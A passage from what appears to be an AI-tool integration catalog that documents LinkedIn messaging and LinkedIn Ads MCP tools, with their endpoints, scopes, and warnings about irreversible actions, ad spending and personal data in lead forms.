/api/v1/linkedin/api/v1/linkedin/jobs/{job_id}. Scopes: write. linkedin_patch_messages_by_message_id (write) — Edit a message. PATCH /api/v1/messages/{message_id}. Edit a message. Supported for WhatsApp and LinkedIn Classic only. WhatsApp may reject edits after an indicative 15-minute window following the original send time. LinkedIn Classic edits are only possible within the first 60 minutes after the message is sent. PATCH /api/v1/linkedin/api/v1/messages/{message_id}. Scopes: write. linkedin_patch_users_me_edit (write) — Edit own profile. PATCH /api/v1/users/me/edit. Modify informations on account owner profile. For WhatsApp accounts, only headline (profile display name), summary (profile About/status) and picture are available. For Instagram accounts, only summary (profile bio) and picture are available. They should be formatted with brackets like the following examples: location[id]=105015875, picture_settings[filter]=STUDIO or picture_settings[layout][bottomLeft][x]=1.25. When working with arrays, just set one field for each value with the same key, for example: experience[skills]=development \ experience[skills]=management. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (cover_picture, education.attachment.file, education.attachment.thumbnail, experience.attachment.file, experience.attachment.thumbnail, picture) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. An experience or education attachment must be a LINK (type, title, url): the media variant is not available on this connection, because its file is an upload and uploads cannot be tool arguments. PATCH /api/v1/linkedin/api/v1/users/me/edit. Scopes: write. linkedin_post_chats (write, destructive) — Start a new chat. POST /api/v1/chats. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Start a new conversation with one or more attendee. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, linkedin.follow_up.attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/linkedin/api/v1/chats. Scopes: write. linkedin_post_chats_by_chat_id_messages (write, destructive) — Send a message in a chat. POST /api/v1/chats/{chat_id}/messages. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send a message to the given chat with the possibility to link some attachments. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/linkedin/api/v1/chats/{chat_id}/messages. Scopes: write. linkedin_post_linkedin (write) — Get raw data from any endpoint. POST /api/v1/linkedin. This magic route is intended for advanced users who wish to use LinkedIn's features beyond our current capabilities. It enables you to create custom functionalities that are not yet supported by our platform, using connected accounts. To utilize this route, you will need to identify the specific endpoint containing the desired data using web developer tools on LinkedIn, and then copy the URL along with its parameters for implementation. POST /api/v1/linkedin/api/v1/linkedin. Scopes: write. linkedin_post_linkedin_contracts_by_id_select (write) — Select contract. POST /api/v1/linkedin/contracts/{id}/select. Select a Recruiter or Sales navigator contract to be used on your account POST /api/v1/linkedin/api/v1/linkedin/contracts/{id}/select. Scopes: write. linkedin_post_linkedin_jobs (write) — Create a job posting. POST /api/v1/linkedin/jobs. Create a new job offer draft. POST /api/v1/linkedin/api/v1/linkedin/jobs. Scopes: write. linkedin_post_linkedin_jobs_by_draft_id_checkpoint (write) — Solve a job publishing checkpoint. POST /api/v1/linkedin/jobs/{draft_id}/checkpoint. Solve a checkpoint to verify your member privilegies. POST /api/v1/linkedin/api/v1/linkedin/jobs/{draft_id}/checkpoint. Scopes: write. linkedin_post_linkedin_jobs_by_draft_id_publish (write, destructive) — Publish a job posting. POST /api/v1/linkedin/jobs/{draft_id}/publish. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Publish the job posting draft you have been working on. POST /api/v1/linkedin/api/v1/linkedin/jobs/{draft_id}/publish. Scopes: write. linkedin_post_linkedin_jobs_by_id_close (write) — Close a job posting. POST /api/v1/linkedin/jobs/{id}/close. Close a job offer you have posted. POST /api/v1/linkedin/api/v1/linkedin/jobs/{id}/close. Scopes: write. linkedin_post_linkedin_profile_endorse (write, destructive) — Endorse a user profile specific skill. POST /api/v1/linkedin/profile/endorse. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. This route can be used to endorse a skill of a user profile. POST /api/v1/linkedin/api/v1/linkedin/profile/endorse. Scopes: write. linkedin_post_linkedin_search (write) — Perform Linkedin search. POST /api/v1/linkedin/search. Search people and companies from the Linkedin Classic as well as Sales Navigator APIs. Check out our Guide with examples to master LinkedIn search: https://developer.the messaging provider.com/docs/linkedin-search POST /api/v1/linkedin/api/v1/linkedin/search. Scopes: write. linkedin_post_linkedin_user_by_user_id (write) — Perform an action with a user profile. POST /api/v1/linkedin/user/{user_id}. Add a candidate to a Recruiter pipeline, save a Sales Navigator lead, etc. POST /api/v1/linkedin/api/v1/linkedin/user/{user_id}. Scopes: write. linkedin_post_messages_by_message_id_forward (write, destructive) — Forward a message. POST /api/v1/messages/{message_id}/forward. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Forward a message to a chat. (Whatsapp only) POST /api/v1/linkedin/api/v1/messages/{message_id}/forward. Scopes: write. linkedin_post_messages_by_message_id_reaction (write, destructive) — Add a reaction to a message. POST /api/v1/messages/{message_id}/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Add a reaction to a message. (Whatsapp, LinkedIn, Telegram, Instagram) POST /api/v1/linkedin/api/v1/messages/{message_id}/reaction. Scopes: write. linkedin_post_posts (write, destructive) — Create a post. POST /api/v1/posts. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Publish a post. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, video_thumbnail) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/linkedin/api/v1/posts. Scopes: write. linkedin_post_posts_by_post_id_comments (write, destructive) — Comment a post. POST /api/v1/posts/{post_id}/comments. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Comment a post or reply to a post comment. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/linkedin/api/v1/posts/{post_id}/comments. Scopes: write. linkedin_post_posts_reaction (write, destructive) — Add a reaction to a post. POST /api/v1/posts/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. React to either a post or a post comment. POST /api/v1/linkedin/api/v1/posts/reaction. Scopes: write. linkedin_post_users_invite (write, destructive) — Send an invitation. POST /api/v1/users/invite. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send an invitation to add someone to your contacts. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.the messaging provider.com/docs/provider-limits-and-restrictions POST /api/v1/linkedin/api/v1/users/invite. Scopes: write. linkedin_post_users_invite_received_by_invitation_id (write, destructive) — Handle a received invitation. POST /api/v1/users/invite/received/{invitation_id}. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Accept or decline a connection invitation. POST /api/v1/linkedin/api/v1/users/invite/received/{invitation_id}. Scopes: write. ================================================================================ ## LinkedIn Ads URL: https://www.agenticfabriq.com/integrations/linkedin-ads Section: Integrated Tools LinkedIn Ads — 98 MCP tools Provider key: linkedin_ads. Scopes: r_ads, r_ads_reporting, r_marketing_leadgen_automation, rw_ads, rw_conversions, rw_dmp_segments. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. linkedin_ads_activate_campaign (write, destructive) — DESTRUCTIVE — SPENDS MONEY. Set a campaign to ACTIVE. From this call onwards LinkedIn serves its ads and charges the ad account up to the campaign's daily and total budgets, without asking again. Read those two numbers with get_campaign first: they are what this call authorises. The campaign's group must also be ACTIVE for anything to deliver. Reversible with pause_campaign; money already spent is not refunded. POST /api/v1/tools/linkedin_ads/activate-campaign. Scopes: rw_ads. linkedin_ads_activate_campaign_group (write, destructive) — DESTRUCTIVE — SPENDS MONEY. Set a campaign group to ACTIVE so every active campaign inside it starts delivering and charging the ad account. The group's total budget is the ceiling; read it with get_campaign_group before calling this, because that number is what you are authorising. Reversible with pause_campaign_group, but money already spent is not refunded. POST /api/v1/tools/linkedin_ads/activate-campaign-group. Scopes: rw_ads. linkedin_ads_activate_creative (write, destructive) — DESTRUCTIVE — SPENDS MONEY. Mark a creative ACTIVE so LinkedIn serves it. Once its campaign and campaign group are also ACTIVE this ad starts costing the account money, bounded only by the campaign's budgets. LinkedIn's own creative review still applies. Reversible with pause_creative; spend is not refunded. POST /api/v1/tools/linkedin_ads/activate-creative. Scopes: rw_ads. linkedin_ads_add_ad_account_user (write, destructive) — DESTRUCTIVE — give a LinkedIn member a role on an ad account. This is an access-control change, not a data change: the person can afterwards spend from the account through Campaign Manager, with no further involvement from Agentic Fabriq and no Agentic Fabriq audit row behind anything they do. ACCOUNT_BILLING_ADMIN cannot be granted through Agentic Fabriq at all — an account has exactly one and that is the person LinkedIn invoices. Reversible with remove_ad_account_user. POST /api/v1/tools/linkedin_ads/add-ad-account-user. Scopes: rw_ads. linkedin_ads_add_companies_to_dmp_segment (write) — Add companies to a COMPANY-type matched audience, by LinkedIn organization URN, name, website or email domain. Company data is not personal data, so unlike the people equivalent nothing here is hashed. Reversible with remove_companies_from_dmp_segment. POST /api/v1/tools/linkedin_ads/add-companies-to-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_add_users_to_dmp_segment (write) — Add people to a matched audience by hashed identifier. THIS SENDS PERSONAL DATA ABOUT THE CUSTOMER'S OWN CONTACTS TO LINKEDIN. Identifiers must already be hashed: Agentic Fabriq accepts only SHA256_EMAIL (64 hex characters), SHA512_EMAIL (128) and GOOGLE_AID, and verifies the hash shape before anything is sent, because LinkedIn's own rule is that raw email addresses must never appear in this field. Lowercase and trim an address before hashing it or it will not match. Up to 5,000 people per call. Reversible with remove_users_from_dmp_segment. POST /api/v1/tools/linkedin_ads/add-users-to-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_archive_campaign (write, destructive) — DESTRUCTIVE — archive a campaign. It stops delivering and leaves the default Campaign Manager view. Reversible with unarchive_campaign, which returns it to DRAFT rather than to ACTIVE, so archiving and unarchiving a live campaign does not resume it. POST /api/v1/tools/linkedin_ads/archive-campaign. Scopes: rw_ads. linkedin_ads_archive_campaign_group (write, destructive) — DESTRUCTIVE — archive a campaign group. It stops delivering and disappears from the default Campaign Manager view. Reversible with unarchive_campaign_group, which returns it to DRAFT — not to ACTIVE, so archiving a live group and unarchiving it does NOT resume delivery on its own. POST /api/v1/tools/linkedin_ads/archive-campaign-group. Scopes: rw_ads. linkedin_ads_archive_creative (write, destructive) — DESTRUCTIVE — archive a creative so it stops serving and leaves the default view. Reversible with unarchive_creative, which returns it to DRAFT rather than to ACTIVE. POST /api/v1/tools/linkedin_ads/archive-creative. Scopes: rw_ads. linkedin_ads_associate_conversion_with_campaign (write) — Attach a conversion rule to a campaign so LinkedIn attributes that outcome to it. Changes what is measured, not what is spent. Reversible with remove_conversion_from_campaign. POST /api/v1/tools/linkedin_ads/associate-conversion-with-campaign. Scopes: rw_conversions. linkedin_ads_browse_targeting_entities (read) — List the values available inside one targeting facet — every seniority, every industry, every country. Returns each value's URN and display name; the URN is what update_campaign_targeting needs. Use typeahead_targeting_entities instead for large facets such as job titles or companies, where browsing is impractical. POST /api/v1/tools/linkedin_ads/browse-targeting-entities. Scopes: r_ads. linkedin_ads_cancel_ad_account (write, destructive) — DESTRUCTIVE — cancel an entire ad account. Every campaign under it stops delivering immediately, across every campaign group. This is the widest blast radius in the LinkedIn Ads catalog: it does not affect one campaign, it stops the account. Reversible with reactivate_ad_account, but delivery lost while cancelled is not recovered and any pacing LinkedIn had learned is reset. POST /api/v1/tools/linkedin_ads/cancel-ad-account. Scopes: rw_ads. linkedin_ads_create_ad_account (write) — Create a LinkedIn ad account. Created in DRAFT — an account cannot serve or spend until a person adds a billing method in Campaign Manager, which no API can do. Set test=true for a sandbox account whose ads are never served and never billed; that flag is fixed for the account's whole life and cannot be changed later. On a Development-tier app LinkedIn allows exactly one API-created account and it must be a test account; real accounts must be made in Campaign Manager until the app reaches Standard tier. POST /api/v1/tools/linkedin_ads/create-ad-account. Scopes: rw_ads. linkedin_ads_create_ad_target_template (write) — Save a targeting definition as a reusable template on an ad account. Additive and spends nothing — a template is not attached to any campaign until someone uses it. POST /api/v1/tools/linkedin_ads/create-ad-target-template. Scopes: rw_ads. linkedin_ads_create_campaign (write) — Create a campaign inside a campaign group. ALWAYS CREATED IN DRAFT — a new campaign can never deliver or spend on the call that made it, and no argument changes that. Agentic Fabriq REQUIRES a daily budget or a total budget, and REQUIRES an end date, even though LinkedIn will accept a campaign with neither: those are the caps that bound what this campaign can ever cost. A campaign with no ceiling is not expressible through this tool. POST /api/v1/tools/linkedin_ads/create-campaign. Scopes: rw_ads. linkedin_ads_create_campaign_group (write) — Create a campaign group. ALWAYS CREATED IN DRAFT — nothing under a draft group can deliver or spend, and there is no argument that changes that; activation is a separate, separately granted action. A total budget and an end date are both REQUIRED by Agentic Fabriq even though LinkedIn allows a group with neither: those two values are the ceiling that makes everything under this group bounded, and a group without them can spend without limit until a person notices. POST /api/v1/tools/linkedin_ads/create-campaign-group. Scopes: rw_ads. linkedin_ads_create_conversion (write) — Create a conversion rule on an ad account so LinkedIn can attribute outcomes to advertising. Additive and spends nothing; it does not change any campaign's delivery until it is associated with one. Note that MARKETING_QUALIFIED_LEAD and SALES_QUALIFIED_LEAD can no longer be created, on any LinkedIn version from 202408. POST /api/v1/tools/linkedin_ads/create-conversion. Scopes: rw_conversions. linkedin_ads_create_creative (write) — Create a creative — one ad — inside a campaign, from a post that already exists. ALWAYS CREATED IN DRAFT: it cannot serve or spend on the call that made it, and no argument changes that. LinkedIn also reviews every creative before it can serve, so activating one does not necessarily start delivery immediately. POST /api/v1/tools/linkedin_ads/create-creative. Scopes: rw_ads. linkedin_ads_create_dmp_segment (write) — Create an empty matched audience on an ad account. Additive and spends nothing; it holds no members until add_users_to_dmp_segment or add_companies_to_dmp_segment is called, and cannot be targeted until LinkedIn matches enough of them. POST /api/v1/tools/linkedin_ads/create-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_create_dmp_segment_destination (write) — Publish a matched audience to an additional LinkedIn destination so campaigns there can target it. Additive; spends nothing on its own. POST /api/v1/tools/linkedin_ads/create-dmp-segment-destination. Scopes: rw_dmp_segments. linkedin_ads_create_insight_tag (write) — Create a LinkedIn Insight Tag on an ad account. Additive and spends nothing — the tag does nothing until someone installs the snippet on a website, which no API can do. POST /api/v1/tools/linkedin_ads/create-insight-tag. Scopes: rw_ads. linkedin_ads_create_lead_form (write) — Create a lead gen form on an ad account. The form is what collects real people's names, email addresses and phone numbers when they respond to an ad, so what you put in `questions` decides what personal data the customer will be collecting and becoming responsible for. LinkedIn requires a privacy policy URL. Creating a form spends nothing and collects nothing until it is attached to a live campaign. POST /api/v1/tools/linkedin_ads/create-lead-form. Scopes: rw_ads. linkedin_ads_delete_ad_target_template (write, destructive) — DESTRUCTIVE — delete a saved audience template. Campaigns already using its targeting keep running unchanged; what is lost is the reusable definition, and LinkedIn publishes no undelete. The inverse is create_ad_target_template, so read the template with get_ad_target_template first if you may want it back. POST /api/v1/tools/linkedin_ads/delete-ad-target-template. Scopes: rw_ads. linkedin_ads_delete_conversion (write, destructive) — DESTRUCTIVE — delete a conversion rule. Every campaign using it stops attributing outcomes, and the historical figures that referenced it become unreadable in reporting. Consider disabling it with update_conversion instead, which is reversible; deletion is not. The inverse is create_conversion, but a recreated rule is a new rule and does not inherit history. POST /api/v1/tools/linkedin_ads/delete-conversion. Scopes: rw_conversions. linkedin_ads_delete_dmp_segment (write, destructive) — DESTRUCTIVE — permanently delete a matched audience and the whole member list inside it. Any live campaign targeting it loses that audience, which can leave the campaign targeting nothing and silently stop delivery. UNRECOVERABLE IN A WAY MOST DELETES ARE NOT: LinkedIn publishes no endpoint that reads a segment's members back, so the list cannot be exported first and cannot be rebuilt from LinkedIn — only from whatever produced it originally. POST /api/v1/tools/linkedin_ads/delete-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_delete_draft_campaign (write, destructive) — DESTRUCTIVE — permanently delete a campaign that has never run. Agentic Fabriq reads it first and refuses unless its status is DRAFT, so a campaign that has delivered or spent cannot be deleted through this tool; archive it instead, which is reversible. Unrecoverable, and it takes the campaign's targeting and creatives with it. POST /api/v1/tools/linkedin_ads/delete-draft-campaign. Scopes: rw_ads. linkedin_ads_delete_draft_campaign_group (write, destructive) — DESTRUCTIVE — permanently delete a campaign group that has never run. Agentic Fabriq reads it first and refuses unless its status is DRAFT, so a group that has delivered or spent can never be deleted through this tool; archive it instead, which is reversible. Unrecoverable. POST /api/v1/tools/linkedin_ads/delete-draft-campaign-group. Scopes: rw_ads. linkedin_ads_delete_draft_creative (write, destructive) — DESTRUCTIVE — permanently delete a creative that has never served. Agentic Fabriq reads it first and refuses unless its intended status is DRAFT, so an ad that has run cannot be deleted through this tool; archive it instead. The underlying post is not deleted. POST /api/v1/tools/linkedin_ads/delete-draft-creative. Scopes: rw_ads. linkedin_ads_delete_lead_notification (write, destructive) — DESTRUCTIVE — delete a lead notification webhook so LinkedIn stops pushing new leads to it. Whatever system was receiving those leads stops receiving them, silently, and Agentic Fabriq cannot recreate it — creating a webhook is deliberately not offered. This ships because stopping an unwanted flow of personal data to a third party is a capability worth having even when starting one is not: read the list first with list_lead_notifications. POST /api/v1/tools/linkedin_ads/delete-lead-notification. Scopes: r_marketing_leadgen_automation. linkedin_ads_delete_test_ad_account (write, destructive) — DESTRUCTIVE — permanently delete a TEST ad account and everything in it. Agentic Fabriq reads the account first and refuses unless LinkedIn reports `test: true`, so a real, billed account can never be deleted through this tool however it is called; cancel it instead. Unrecoverable — LinkedIn publishes no undelete. POST /api/v1/tools/linkedin_ads/delete-test-ad-account. Scopes: rw_ads. linkedin_ads_get_ad_account (read) — Read one ad account: name, currency, type, status, serving statuses and whether it is a test account. `test: true` means nothing it contains is ever served to a real member and nothing is ever billed. POST /api/v1/tools/linkedin_ads/get-ad-account. Scopes: r_ads. linkedin_ads_get_ad_account_user (read) — Read one person's role on one ad account. Person id is the identifier inside urn:li:person:… as returned by list_ad_account_users. POST /api/v1/tools/linkedin_ads/get-ad-account-user. Scopes: r_ads. linkedin_ads_get_ad_analytics (read) — Performance figures — impressions, clicks, spend, conversions and about 119 other metrics — broken down by ONE dimension. This is the tool that answers "what did we get for the money". IMPORTANT: LinkedIn does not paginate this endpoint at all and caps a response at 15,000 rows; narrow the date range or the entity list rather than looking for a next page, because the `paging` block in the response is meaningless here. Name only the metrics you need in `fields` — the quota is 45 million metric values per five minutes across the whole app, and asking for every field is how it is exhausted. POST /api/v1/tools/linkedin_ads/get-ad-analytics. Scopes: r_ads_reporting. linkedin_ads_get_ad_segment (read) — Read one ad segment's definition, source and status. POST /api/v1/tools/linkedin_ads/get-ad-segment. Scopes: r_ads. linkedin_ads_get_ad_statistics (read) — The same performance figures as get_ad_analytics, broken down by UP TO THREE dimensions at once — spend by campaign by device by country in one call. Same caps: no pagination, 15,000 rows, and the 45-million-metric-value quota, which multi-pivot queries exhaust far faster because rows multiply. Name your metrics in `fields`. POST /api/v1/tools/linkedin_ads/get-ad-statistics. Scopes: r_ads_reporting. linkedin_ads_get_ad_supply_forecast (read) — Ask LinkedIn how much inventory a targeting definition can actually deliver — how many impressions are available to buy. Changes nothing and costs nothing. Use it when a campaign is underdelivering to tell 'the audience is too small' from 'the bid is too low'. POST /api/v1/tools/linkedin_ads/get-ad-supply-forecast. Scopes: r_ads. linkedin_ads_get_ad_target_template (read) — Read one saved audience template's full targeting definition. POST /api/v1/tools/linkedin_ads/get-ad-target-template. Scopes: r_ads. linkedin_ads_get_attributed_revenue_metrics (read) — Revenue LinkedIn attributes to advertising, for accounts with revenue attribution configured. Answers "did this pay for itself" rather than "how many clicks". Empty results usually mean attribution has not been set up in Campaign Manager, not that there was no revenue. POST /api/v1/tools/linkedin_ads/get-attributed-revenue-metrics. Scopes: r_ads_reporting. linkedin_ads_get_audience_count (read) — Estimate how many LinkedIn members a targeting definition reaches, WITHOUT creating or changing anything. Run this before update_campaign_targeting: LinkedIn refuses to deliver to an audience below its minimum size, and an audience that is far too large spends the budget on people who will never convert. This tool costs nothing and changes nothing. POST /api/v1/tools/linkedin_ads/get-audience-count. Scopes: r_ads. linkedin_ads_get_budget_pricing (read) — LinkedIn's own suggested bid range and minimum budget for a given targeting definition and campaign type. Read this BEFORE set_campaign_bid: it is the difference between a bid chosen from the auction's actual clearing range and one the model invented. Changes nothing and costs nothing. POST /api/v1/tools/linkedin_ads/get-budget-pricing. Scopes: r_ads. linkedin_ads_get_campaign (read) — Read one campaign in full: status, budgets, bid, cost type, objective, optimization target, run schedule and the whole targetingCriteria tree. POST /api/v1/tools/linkedin_ads/get-campaign. Scopes: r_ads. linkedin_ads_get_campaign_group (read) — Read one campaign group: status, total budget, run schedule, objective and backfilled flag. POST /api/v1/tools/linkedin_ads/get-campaign-group. Scopes: r_ads. linkedin_ads_get_conversion (read) — Read one conversion rule: name, type, attribution windows and whether it is enabled. POST /api/v1/tools/linkedin_ads/get-conversion. Scopes: rw_conversions. linkedin_ads_get_creative (read) — Read one creative: its intended status, LinkedIn's review status, the campaign it belongs to and the content reference it serves. Any signed media download URL in the response is withheld — use LinkedIn Campaign Manager to view the asset itself. POST /api/v1/tools/linkedin_ads/get-creative. Scopes: r_ads. linkedin_ads_get_dmp_segment (read) — Read one matched audience: name, type, source, status and how many members LinkedIn was able to match. A segment below LinkedIn's minimum match size cannot be targeted. POST /api/v1/tools/linkedin_ads/get-dmp-segment. Scopes: rw_dmp_segments. linkedin_ads_get_dmp_segment_list_upload (read) — Read one CSV upload's status, row counts and any per-row errors LinkedIn reported. POST /api/v1/tools/linkedin_ads/get-dmp-segment-list-upload. Scopes: rw_dmp_segments. linkedin_ads_get_insight_tag (read) — Read one Insight Tag's configuration and status. POST /api/v1/tools/linkedin_ads/get-insight-tag. Scopes: r_ads. linkedin_ads_get_lead_form (read) — Read one lead gen form: its headline, description, privacy policy link, consent checkboxes and every question with its id and predefined field. Form definition only, no leads. POST /api/v1/tools/linkedin_ads/get-lead-form. Scopes: rw_ads. linkedin_ads_get_lead_form_response (read) — Read one lead submission. RETURNS THE PERSONAL DATA OF A REAL PERSON — name, email address, phone number, employer and job title in plaintext, depending on the form's questions, plus their LinkedIn person URN and their answers to any consent checkboxes. Agentic Fabriq stores none of it and logs none of it. POST /api/v1/tools/linkedin_ads/get-lead-form-response. Scopes: r_marketing_leadgen_automation. linkedin_ads_get_my_ad_account_access (read) — Show which ad accounts THIS connection's LinkedIn member can reach and at what role. Run this first when anything answers 403: a member with only the VIEWER role cannot write even when rw_ads was granted, and on a Development-tier app an account that is not allowlisted in the LinkedIn developer portal is unreachable no matter what role the member holds. This tool tells the two apart. POST /api/v1/tools/linkedin_ads/get-my-ad-account-access. Scopes: r_ads. linkedin_ads_list_ad_account_users (read) — List the people who hold a role on one ad account, with each person's URN and role. Use it before changing anyone's access: there is exactly one ACCOUNT_BILLING_ADMIN per account and that is the person LinkedIn bills. POST /api/v1/tools/linkedin_ads/list-ad-account-users. Scopes: r_ads. linkedin_ads_list_ad_accounts (read) — List the LinkedIn ad accounts this connection's member can reach, with id, name, currency, type and status. START HERE: every other LinkedIn Ads tool needs an account id and nothing else hands one over. Returns only accounts where the authorizing member holds an ad-account role — if it comes back empty the member has no seat, not a broken connection. POST /api/v1/tools/linkedin_ads/list-ad-accounts. Scopes: r_ads. linkedin_ads_list_ad_segments (read) — List the ad segments on one or more ad accounts — LinkedIn's account-level view of every audience available for targeting, including retargeting segments that no DMP upload created. POST /api/v1/tools/linkedin_ads/list-ad-segments. Scopes: r_ads. linkedin_ads_list_ad_target_templates (read) — List the saved audience templates on an ad account. A template is a reusable targeting definition a marketer has already agreed to; reusing one is safer than composing targeting from scratch. POST /api/v1/tools/linkedin_ads/list-ad-target-templates. Scopes: r_ads. linkedin_ads_list_campaign_conversions (read) — Show which conversion rules are attached to which campaigns. A campaign with no conversion rule reports clicks and nothing about outcomes, which is the usual reason a report looks empty. POST /api/v1/tools/linkedin_ads/list-campaign-conversions. Scopes: rw_conversions. linkedin_ads_list_campaign_groups (read) — List the campaign groups in one ad account with their status, total budget and run schedule. A campaign group is the budget and scheduling envelope around a set of campaigns; its id is required to create a campaign. POST /api/v1/tools/linkedin_ads/list-campaign-groups. Scopes: r_ads. linkedin_ads_list_campaigns (read) — List the campaigns in one ad account with status, type, daily and total budget, bid, run schedule and campaign group. This is the tool to run before anything that spends: it shows what is already ACTIVE and what each one is allowed to cost. POST /api/v1/tools/linkedin_ads/list-campaigns. Scopes: r_ads. linkedin_ads_list_conversions (read) — List the conversion rules on an ad account — the definitions of what counts as a lead, a purchase or a signup. Returns rule metadata only; no personal data and no user identifiers. POST /api/v1/tools/linkedin_ads/list-conversions. Scopes: rw_conversions. linkedin_ads_list_country_groups (read) — List LinkedIn's country groupings, used when targeting whole regions rather than individual countries. POST /api/v1/tools/linkedin_ads/list-country-groups. Scopes: r_ads. linkedin_ads_list_creatives (read) — List the creatives (individual ads) in an ad account, optionally narrowed to particular campaigns. Returns each creative's id, intended status, review status and the post or content it serves. POST /api/v1/tools/linkedin_ads/list-creatives. Scopes: r_ads. linkedin_ads_list_dmp_segment_destinations (read) — List where a matched audience is published — which LinkedIn surfaces may use it. POST /api/v1/tools/linkedin_ads/list-dmp-segment-destinations. Scopes: rw_dmp_segments. linkedin_ads_list_dmp_segment_list_uploads (read) — List the CSV uploads made into a matched audience, with each one's status and match counts. The diagnostic for "the audience looks too small": it shows how many rows LinkedIn actually matched. POST /api/v1/tools/linkedin_ads/list-dmp-segment-list-uploads. Scopes: rw_dmp_segments. linkedin_ads_list_dmp_segments (read) — List the matched audiences (DMP segments) on an ad account, with each one's id, name, type, status and approximate size. The id is what campaign targeting needs. Member lists themselves cannot be read back — LinkedIn publishes no endpoint that returns them. POST /api/v1/tools/linkedin_ads/list-dmp-segments. Scopes: rw_dmp_segments. linkedin_ads_list_insight_tag_domains (read) — List the website domains an ad account's Insight Tag has been seen firing on. The quickest way to confirm a tag is actually installed where someone thinks it is. POST /api/v1/tools/linkedin_ads/list-insight-tag-domains. Scopes: r_ads. linkedin_ads_list_insight_tags (read) — List the LinkedIn Insight Tags on an ad account — the browser tags that make website conversion tracking and website retargeting work. If conversion reporting is empty, check here first. POST /api/v1/tools/linkedin_ads/list-insight-tags. Scopes: r_ads. linkedin_ads_list_lead_form_responses (read) — Read the actual leads submitted through an ad account's lead gen forms. THIS RETURNS THE PERSONAL DATA OF REAL PEOPLE — third parties, not the account holder. Depending on the form's questions the answers include full name, personal and work email address, phone number, employer, job title and LinkedIn profile link, all in plaintext and all prefilled from the member's own LinkedIn profile. The response also identifies each submitter by person URN. Answers are keyed by question id: join them against linkedin_ads_get_lead_form to know which field is which. Agentic Fabriq stores none of this and logs none of it, but whatever receives the result becomes responsible for it — LinkedIn's terms require deletion on the member's request. POST /api/v1/tools/linkedin_ads/list-lead-form-responses. Scopes: r_marketing_leadgen_automation. linkedin_ads_list_lead_forms (read) — List the lead gen forms owned by an ad account, with each form's id, name, headline and the questions it asks. Form DEFINITIONS only — no leads and no personal data. You need the question list from here to make sense of the answers list_lead_form_responses returns, which are keyed by question id. POST /api/v1/tools/linkedin_ads/list-lead-forms. Scopes: rw_ads. linkedin_ads_list_lead_notifications (read) — List the webhooks configured to push new leads out of LinkedIn to another system, with the id of each. Agentic Fabriq cannot create one — a caller-chosen destination that fires forever with no Agentic Fabriq action row behind it is exactly what the action catalog exists to prevent — but it can show you the ones that exist, and delete_lead_notification can stop one. POST /api/v1/tools/linkedin_ads/list-lead-notifications. Scopes: r_marketing_leadgen_automation. linkedin_ads_list_similar_targeting_entities (read) — Ask LinkedIn for targeting values similar to ones you already have — the way to widen an audience that is too small without guessing. Pair it with get_audience_count to see what the widening actually buys. POST /api/v1/tools/linkedin_ads/list-similar-targeting-entities. Scopes: r_ads. linkedin_ads_list_targeting_facets (read) — List every dimension LinkedIn can target on — locations, industries, seniorities, job titles, skills, company size and the rest — with the facet URN each one uses. This is the discovery step: a facet URN is what browse_targeting_entities needs, and nothing else hands one over. POST /api/v1/tools/linkedin_ads/list-targeting-facets. Scopes: r_ads. linkedin_ads_pause_campaign (write, destructive) — DESTRUCTIVE — stop a campaign delivering. Spending stops immediately, which is the safe direction for money and the dangerous direction for a live campaign: a launch nobody knows was paused simply stops working, and LinkedIn does not restore the pacing it had learned when it is resumed. The inverse, activate_campaign, is one call away. POST /api/v1/tools/linkedin_ads/pause-campaign. Scopes: rw_ads. linkedin_ads_pause_campaign_group (write, destructive) — DESTRUCTIVE — stop every campaign in this group from delivering. This is the safe direction for money and the dangerous direction for a live marketing programme: pausing a group mid-flight ends delivery for a launch nobody else knows was stopped, and LinkedIn does not restore lost pacing when it is resumed. No confirmation token, because the inverse (activate_campaign_group) is one call away and stopping spend is never the irreversible 